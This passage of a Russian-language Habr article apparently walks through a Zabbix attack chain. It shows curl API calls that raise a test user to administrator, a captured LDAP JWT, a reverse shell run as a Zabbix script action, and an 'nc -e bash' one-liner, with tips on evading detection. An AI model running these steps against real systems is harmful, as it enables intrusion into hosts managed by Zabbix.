\/>\u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u043d\u0430\u0447\u0430\u043b\u0430 \u043f\u0440\u043e\u0430\u043d\u0430\u043b\u0438\u0437\u0438\u0440\u0443\u0435\u043c \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0439 \u043a\u043e\u0434 \u0438 \u0443\u0434\u0430\u043b\u0438\u043c \u0441\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043b\u0438\u0448\u043d\u0435\u0435 (\u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0440\u0435\u0432 \u0448\u0435\u043b\u0430, \u0432\u0432\u043e\u0434 \u043b.\u0430\u0434\u0440\u0435\u0441\u0430 \u0438 \u043b.\u043f\u043e\u0440\u0442\u0430).<br \/>\u041f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u0442\u0441\u044f, \u0447\u0442\u043e \u0441 \u0445\u043e\u0441\u0442\u0430, \u0441 \u043a\u043e\u0442\u043e\u0440\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f \u0430\u0442\u0430\u043a\u0430 \u0435\u0441\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0438 (\u0438\u0445 \u043c\u0438\u043d\u0438\u043c\u0443\u043c) \u0438 Python.<\/p>\n<p>\u0414\u0432\u0438\u0433\u0430\u0435\u043c\u0441\u044f \u0434\u0430\u043b\u044c\u0448\u0435. \u041f\u043e\u043b\u0443\u0447\u0438\u0432 \u0441\u0435\u0441\u0441\u0438\u043e\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0430 \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0442\u044c \u043f\u043e\u0432\u044b\u0441\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API, \u0447\u0442\u043e\u0431\u044b \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u0434\u043e\u0441\u0442\u0443\u043f \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435 Zabbix&#8217;a.<\/p>\n<h3>\u041f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435 \u0440\u043e\u043b\u0438 \u0442\u0435\u0441\u0442\u043e\u0432\u043e\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0447\u0435\u0440\u0435\u0437 API<\/h3>\n<p>\u041f\u043e\u043a\u043e\u043f\u0430\u0432\u0448\u0438\u0441\u044c \u043d\u0435\u043c\u043d\u043e\u0433\u043e \u0432 \u0434\u043e\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u0446\u0438\u0438, \u043d\u0430\u0448\u0435\u043b \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<br \/> \u041d\u0430\u043f\u0440\u0438\u043c\u0435\u0440 \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0430\u043c\u0438:<br \/> <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}' | grep \"test_cve\"<\/code> <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c5c\/d73\/9f3\/c5cd739f385c2aee02ea4efe7cfccbdf.png\" width=\"1895\" height=\"164\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c5c\/d73\/9f3\/c5cd739f385c2aee02ea4efe7cfccbdf.png\"\/><\/figure>\n<p> \u0418\u0437 \u044d\u0442\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043d\u0430\u043c \u043d\u0443\u0436\u043d\u043e \u0438\u0437\u0432\u043b\u0435\u0447\u044c userid \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f &#171;test_cve&#187; \u0438 \u0435\u0433\u043e roleid (userid:3 &amp; roleid:5)<br \/> \u0418 \u0432 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0438 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 (userid:1 &amp; roleid:3)<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/daa\/683\/766\/daa6837663fff7d7d63ca0a4db74d018.png\" width=\"1899\" height=\"40\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/daa\/683\/766\/daa6837663fff7d7d63ca0a4db74d018.png\"\/><\/figure>\n<p> \u0422\u0435\u043f\u0435\u0440\u044c \u043f\u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0441\u043c\u0435\u043d\u0438\u0442\u044c \u0440\u043e\u043b\u044c \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f<br \/> \u0417\u0430\u043f\u0440\u043e\u0441 (\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f auth \u0442\u043e\u043a\u0435\u043d \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440):<br \/> <code>curl -X POST -k http:\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.update\",\"params\":{\"userid\":\"3\", \"roleid\":\"3\"},\"auth\":\"1a53530682a7722fba0d6633e98ab64b\",\"id\":1}'<\/code><br \/> \u041e\u0442\u0432\u0435\u0442<br \/> {&#171;jsonrpc&#187;:&#187;2.0&#8243;,&#187;result&#187;:{&#171;userids&#187;:[&#171;3&#8243;]},&#187;id&#187;:1}<br \/> \u0420\u043e\u043b\u044c \u0443\u0441\u043f\u0435\u0448\u043d\u043e \u0441\u043c\u0435\u043d\u0438\u043b\u0430\u0441\u044c, \u0442\u0435\u043f\u0435\u0440\u044c \u043d\u0430\u0448 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c \u0441 \u0440\u043e\u043b\u044c\u044e \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0438 \u0435\u043c\u0443 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0432\u0441\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0432 \u0432\u0435\u0431 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0435<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/13b\/d55\/f0d\/13bd55f0d45e3594d0263c025e085e4b.png\" width=\"1376\" height=\"914\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/13b\/d55\/f0d\/13bd55f0d45e3594d0263c025e085e4b.png\"\/><\/figure>\n<h3>\u0413\u043e\u0440\u0438\u0437\u043e\u043d\u0442\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0435\u043d\u0438\u0435<\/h3>\n<h3>LDAP<\/h3>\n<p>\u0414\u0430\u043b\u0435\u0435 \u043c\u043e\u0436\u0435\u043c \u0437\u0430\u0439\u0442\u0438 \u0432 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 LDAP, \u043d\u0438\u0447\u0435\u0433\u043e \u043d\u0435 \u043c\u0435\u043d\u044f\u044f \u043e\u0442\u043f\u0440\u0430\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043d\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0438 \u043e\u0442\u043b\u043e\u0432\u0438\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 c \u0447\u0435\u043c-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0438\u043c \u043d\u0430 JWT \u0442\u043e\u043a\u0435\u043d:<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/4a9\/b65\/903\/4a9b65903feee1773648c190b4d72b8b.png\" width=\"1781\" height=\"510\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/4a9\/b65\/903\/4a9b65903feee1773648c190b4d72b8b.png\"\/><\/figure>\n<p> \u041f\u043e\u043f\u0440\u043e\u0431\u043e\u0432\u0430\u0432 \u0434\u0435\u043a\u043e\u0434\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0430\u043d\u043d\u044b\u0439 \u0442\u043e\u043a\u0435\u043d (\u043d\u0430 jwt.io), \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438 \u0440\u0430\u0437\u0432\u0438\u0442\u044c \u0430\u0442\u0430\u043a\u0443 \u0434\u0430\u043b\u044c\u0448\u0435 :<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/52b\/600\/3ca\/52b6003ca708061018b8b0c409644b25.png\" width=\"958\" height=\"514\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/52b\/600\/3ca\/52b6003ca708061018b8b0c409644b25.png\"\/><\/figure>\n<p> \u041a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435, \u044d\u0442\u043e\u0442 \u0432\u0430\u0440\u0438\u0430\u043d\u0442 \u0443\u043c\u0435\u0441\u0442\u0435\u043d \u0432 \u0441\u043b\u0443\u0447\u0430\u0435 \u0435\u0441\u043b\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d LDAP<\/p>\n<h3>\u0423\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e Zabbix<\/h3>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u043e\u043f\u0440\u043e\u0431\u0443\u0435\u043c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 (\u043f\u043e\u0434\u0440\u0430\u0437\u0443\u043c\u0435\u0432\u0430\u0435\u043c, \u0447\u0442\u043e \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u043c \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d\u0430 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434):<br \/> \u0417\u0430\u0434\u0430\u0435\u043c \u0438\u043c\u044f \u0441\u043a\u0440\u0438\u043f\u0442\u0430 -&gt; Type: Script -&gt; Execute on (\u0432\u044b\u0431\u0438\u0440\u0430\u0435\u043c \u0433\u0434\u0435 \u0434\u0430\u043d\u043d\u044b\u0439 \u0441\u043a\u0440\u0438\u043f\u0442 \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0442\u044c\u0441\u044f) -&gt; Commands \u0438 \u0432\u0441\u0442\u0430\u0432\u043b\u044f\u0435\u043c \u0441\u0430\u043c \u0441\u043a\u0440\u0438\u043f\u0442 (\u0431\u0440\u0430\u043b \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u043d\u044b\u0439 Python3 \u043d\u0430 revshells.com, \u043c\u043e\u0436\u043d\u043e \u043a\u043e\u043d\u0435\u0447\u043d\u043e \u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u0432\u0438\u0434\u0430 &#171;nc -e bash ip_address port&#187;, \u043d\u043e nc\/ncat \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0435 \u043d\u0430 \u0432\u0441\u0435\u0445 \u0445\u043e\u0441\u0442\u0430\u0445, \u043a \u0442\u043e\u043c\u0443 \u0436\u0435 \u0443 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u043d\u0430\u0441\u0442\u0440\u043e\u0435\u043d \u0442\u0440\u0438\u0433\u0435\u0440 \u043d\u0430 nc\/ncat, \u0441\u0447\u0438\u0442\u0430\u044e \u0447\u0442\u043e python\/python3 \u043a\u0430\u0436\u0435\u0442\u0441\u044f \u0431\u043e\u043b\u0435\u0435 \u043b\u0435\u0433\u0438\u0442\u0438\u043c\u043d\u044b\u043c)<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/c23\/46f\/a05\/c2346fa05e0faaef4550a300464b151c.png\" width=\"1135\" height=\"816\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/c23\/46f\/a05\/c2346fa05e0faaef4550a300464b151c.png\"\/><\/figure>\n<p>\u041f\u043e\u0441\u043b\u0435 \u0447\u0435\u0433\u043e \u043f\u0435\u0440\u0435\u043c\u0435\u0449\u0430\u0435\u043c\u0441\u044f \u0432 &#171;Actions&#187; \u0434\u043e\u0431\u0430\u0432\u043b\u044f\u0435\u043c \u0443\u0441\u043b\u043e\u0432\u0438\u044f \u0438 \u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0438<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/826\/9d9\/a66\/8269d9a66f29cd632fdefa7a04327f0f.png\" width=\"718\" height=\"571\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/826\/9d9\/a66\/8269d9a66f29cd632fdefa7a04327f0f.png\"\/><\/figure>\n<p>\u0422\u0435\u043f\u0435\u0440\u044c \u0435\u0441\u043b\u0438 \u0430\u0433\u0435\u043d\u0442\u044b \u0443 \u043d\u0430\u0441 \u043f\u0430\u0441\u0441\u0438\u0432\u043d\u044b\u0435, \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u043c\u0430\u043d\u0434 \u0440\u0430\u0431\u043e\u0442\u0430\u0435\u0442 \u0438 \u043c\u044b \u0432\u0441\u0435 \u043f\u0440\u0430\u0432\u0438\u043b\u044c\u043d\u043e \u043d\u0430\u0441\u0442\u0440\u043e\u0438\u043b\u0438 (\/etc\/zabbix\/zabbix_agentd.conf, \u0441\u0442\u0440\u043e\u043a\u0430 ServerActive \u0437\u0430\u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0430 \u0438 \u0438\u043c\u0435\u0435\u0442\u0441\u044f \u0441\u0442\u0440\u043e\u043a\u0430 &#171;EnableRemoteCommands=1&#187;), \u0442\u043e \u043c\u044b \u0434\u043e\u043b\u0436\u043d\u044b \u043f\u043e\u0439\u043c\u0430\u0442\u044c \u0437\u0430\u043f\u0440\u043e\u0441 \u043e\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0445\u043e\u0441\u0442\u0430 \u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c rev shell<\/p>\n<figure class=\"\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/208\/af6\/325\/208af632589e58b94c4b597934e61451.png\" width=\"343\" height=\"60\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/208\/af6\/325\/208af632589e58b94c4b597934e61451.png\"\/><\/figure>\n<p>\u0418 \u0432\u043e\u0442 \u043d\u0430\u0448 \u0448\u0435\u043b \u0441\u0440\u0430\u0431\u043e\u0442\u0430\u043b<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/55d\/079\/2e4\/55d0792e48d77ed260880bfd63f5a11d.png\" width=\"788\" height=\"154\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/55d\/079\/2e4\/55d0792e48d77ed260880bfd63f5a11d.png\"\/><\/figure>\n<p>\u0414\u0435\u043b\u0430\u0435\u043c \u0432\u044b\u0432\u043e\u0434, \u0447\u0442\u043e \u043f\u043e\u043b\u0443\u0447\u0438\u0432 \u0434\u043e\u0441\u0442\u0443\u043f \u0434\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u0431\u0431\u0438\u043a\u0441\u0430 \u0441 \u0440\u043e\u043b\u044c\u044e \u0441\u0443\u043f\u0435\u0440\u0430\u0434\u043c\u0438\u043d\u0430(\u0438\u043b\u0438 \u043b\u044e\u0431\u043e\u0439 \u0434\u0440\u0443\u0433\u043e\u0439, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044e\u0449\u0435\u0439 \u0441\u043e\u0437\u0434\u0430\u0432\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442\u044b), \u043c\u044b \u043c\u043e\u0436\u0435\u043c \u043f\u043e\u043b\u0443\u0447\u0430\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u044b \u0434\u043e \u0434\u0440\u0443\u0433\u0438\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u043f\u043e\u0434 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c \u0437\u0430\u0431\u0431\u0438\u043a\u0441, \u043f\u0440\u0438 \u043d\u0430\u043b\u0438\u0447\u0438\u0438 \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u0430\u043d\u0434 \u043d\u0430 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u0430\u0445.<\/p>\n<p>\u0414\u043e\u043f\u043e\u043b\u043d\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u043e\u043f\u0440\u043e\u0431\u0443\u044e \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043e\u0442\u043f\u0440\u0430\u0432\u043a\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e API:<\/p>\n<ol>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0438\u043c \u0442\u043e\u043a\u0435\u043d <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"user.login\",\"params\":{ \"user\":\"test_cve\", \"password\":\"p2ssw0rd123\"},\"id\":1}'<\/code> <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/923\/768\/5ce\/9237685cea08520e7385a27ffc2306ec.png\" width=\"1606\" height=\"41\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/923\/768\/5ce\/9237685cea08520e7385a27ffc2306ec.png\"\/><\/figure>\n<\/li>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e \u0443\u0437\u043b\u0435 \u043f\u043e \u0438\u043c\u0435\u043d\u0438 (\u0432\u044b\u0434\u0435\u043b\u0438\u043c hostid:10516) <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"host.get\",\"params\":{\"filter\": {\"host\": [\"hostname\"]} },\"auth\":\"fc523f26d819f5cccddcd830675514b5\",\"id\":1}'<\/code> <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/85e\/276\/256\/85e276256d26452788a125d92ec5e572.png\" width=\"1892\" height=\"76\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/85e\/276\/256\/85e276256d26452788a125d92ec5e572.png\"\/><\/figure>\n<\/li>\n<li>\n<p>\u041f\u043e\u043b\u0443\u0447\u0435\u043d\u0438\u0435 \u0441\u043f\u0438\u0441\u043a\u0430 \u0441\u043a\u0440\u0438\u043f\u0442\u043e\u0432: <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"script.get\",\"params\":{\"output\":\"extend\"},\"auth\":\"588af5565413e089b84a4869c7fa12e4\",\"id\":1}'<\/code> \u0412\u044b\u0434\u0435\u043b\u044f\u0435\u043c \u043d\u0443\u0436\u043d\u044b\u0439 \u043d\u0430\u043c scriptid (scriptid:5) <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/744\/4ad\/7b2\/7444ad7b20490dd428d41feae108414d.png\" width=\"1902\" height=\"166\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/744\/4ad\/7b2\/7444ad7b20490dd428d41feae108414d.png\"\/><\/figure>\n<\/li>\n<li>\n<p>\u0418 \u043d\u0430\u043c \u0432\u044b\u0434\u0430\u0441\u0442 \u043e\u0448\u0438\u0431\u043a\u0443 {&#171;jsonrpc&#187;:&#187;2.0&#8243;,&#187;error&#187;:{&#171;code&#187;:-32500,&#187;message&#187;:&#187;Application error.&#187;,&#187;data&#187;:&#187;Script is not allowed in manual host action: scope:1&#8243;},&#187;id&#187;:1} <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/926\/35b\/14c\/92635b14cf1eec780ec37b240a83b9c2.png\" width=\"1875\" height=\"50\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/926\/35b\/14c\/92635b14cf1eec780ec37b240a83b9c2.png\"\/><\/figure>\n<p>\u041f\u043e\u0442\u043e\u043c\u0443 \u043a\u0430\u043a \u043f\u0440\u0438 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u0438 \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043c\u044b \u043d\u0435 \u0443\u043a\u0430\u0437\u0430\u043b\u0438 \u0440\u0443\u0447\u043d\u043e\u0435 \u0432\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u043e \u0432\u043a\u043b\u0430\u0434\u043a\u0435 \u0441\u043a\u043e\u0443\u043f \u041f\u043e\u044d\u0442\u043e\u043c\u0443 \u0434\u043b\u044f \u0442\u0435\u0441\u0442\u0430 \u0441\u043e\u0437\u0434\u0430\u043b \u043a\u043b\u043e\u043d \u043d\u0430\u0448\u0435\u0433\u043e \u043f\u0440\u0435\u0434\u044b\u0434\u0443\u0449\u0435\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430, \u0438\u0437\u043c\u0435\u043d\u0438\u0432 \u0441\u043a\u043e\u0443\u043f.<\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/034\/fd4\/aa2\/034fd4aa29f3e8a733fc705e5643ca83.png\" width=\"777\" height=\"634\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/034\/fd4\/aa2\/034fd4aa29f3e8a733fc705e5643ca83.png\"\/><\/figure>\n<p>\u0418\u0437\u043c\u0435\u043d\u0438\u0432 scriptid \u043d\u0430\u0448 \u0437\u0430\u043f\u0440\u043e\u0441 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u043b\u0441\u044f <code>curl -X POST -k http:\/\/ip_address\/api_jsonrpc.php -H 'Content-Type: application\/json' -d '{\"jsonrpc\":\"2.0\",\"method\":\"script.execute\",\"params\":{\"scriptid\":\"6\", \"hostid\":\"10516\"},\"auth\":\"588af5565413e089b84a4869c7fa12e4\",\"id\":1}'<\/code><\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/fd4\/f6e\/e34\/fd4f6ee340650303d4622301447628e2.png\" width=\"1887\" height=\"47\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/fd4\/f6e\/e34\/fd4f6ee340650303d4622301447628e2.png\"\/><\/figure>\n<p>\u041f\u0440\u0430\u0432\u0434\u0430 \u0441\u043e\u0435\u0434\u0438\u043d\u0435\u043d\u0438\u0435 \u0431\u044b\u043b\u043e \u043d\u0435 \u0434\u043e\u043b\u0433\u0438\u043c, \u043f\u043e\u044d\u0442\u043e\u043c\u0443 \u043b\u0443\u0447\u0448\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0441\u043a\u0440\u0438\u043f\u0442 \u0432 \u0432\u0435\u0431, \u0441 \u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435\u043c. <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/e94\/feb\/9da\/e94feb9da81daa5b19abd65ff786b66b.png\" width=\"695\" height=\"122\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/e94\/feb\/9da\/e94feb9da81daa5b19abd65ff786b66b.png\"\/><\/figure>\n<\/li>\n<\/ol>\n<p>\u041d\u0430 \u044d\u0442\u043e\u043c \u0432\u0441\u0435, \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044e \u0437\u0430 \u0432\u043d\u0438\u043c\u0430\u043d\u0438\u0435!<\/p>\n<p>\u0412 \u0434\u043e\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435:<br \/> <strong>Nuclei<\/strong> <br \/>\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0447\u0430\u0441\u043e\u0432 \u043f\u043e\u0441\u043b\u0435 \u0438\u0437\u0443\u0447\u0435\u043d\u0438\u044f, \u0443\u0434\u0430\u043b\u043e\u0441\u044c \u043d\u0430\u043f\u0438\u0441\u0430\u0442\u044c \u0447\u0442\u043e-\u0442\u043e \u043f\u043e\u0445\u043e\u0436\u0435\u0435 \u043d\u0430 \u0448\u0430\u0431\u043b\u043e\u043d \u0434\u043b\u044f \u043f\u043e\u0438\u0441\u043a\u0430 \u0432\u0435\u0440\u0441\u0438\u0439 Zabbix: <\/p>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/12a\/03a\/e66\/12a03ae6657ba9c8734e193db169e818.png\" width=\"805\" height=\"878\" data-src=\"https:\/\/habrastorage.org\/getpro\/habr\/upload_files\/12a\/03a\/e66\/12a03ae6657ba9c8734e193db169e818.png\"\/><\/figure>\n<figure class=\"full-width\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/habrastorage.org\/r\/w1560\/getpro\/habr\/upload_files\/59a\/667\/a48\/59a667a484a423e6a691aea42289b9bc.png\" width=\"733\" height=\"660\" 